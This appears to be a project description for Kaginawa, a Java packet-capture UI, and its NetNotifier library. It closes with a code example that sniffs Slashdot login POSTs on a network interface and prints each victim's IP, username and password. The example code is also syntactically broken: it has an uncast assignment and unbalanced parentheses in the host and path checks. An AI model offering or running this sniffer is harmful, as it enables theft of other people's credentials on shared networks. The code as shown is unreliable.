Kaginawa is a simple packet capturing UI written in java.
You can think of kaginawa as a slimmed down clone of wireshark, with an emphasis on security (C is not a language for writing parsers) and simplicity of writing modules.
Kaginawa is mainly a frontend UI for a network packet capture library I wrote called NetNotifier. NetNotifier uses JNA to dynamically hook into pcap, and sends out notifications when the desired data is received. For example, your client code can start up a NetNotifier, and subscribe to TCPSession objects. Every time a new TCPSession is contributed to the system, your callback will be notified with a TCPSession object.
The following example demonstrates how easy it is to write something that sniffs slashdot passwords.
import netnotifier.*;
class SlashdotSniff
{
public static void main(String[] args)
{
NetNotifier notifier=new NetNotifier();
notifier.subscribe(HTTPPost.class,new SlashdotSniff(),"gotPost");
notifier.startSniffer("ath0");
}
public void gotPost(Object object)
{
// upcast the object so we can access the fields
HTTPPost post;
if(object instanceof HTTPPost)post=object;
else return;
if(!post.host.equals("slashdot.org")return;
if(!post.path.equals("/login.pl")return;
System.out.print(post.clientIP+": "+
post.postData.get("unickname")+" "+
post.postData.get("upasswd"));
}
}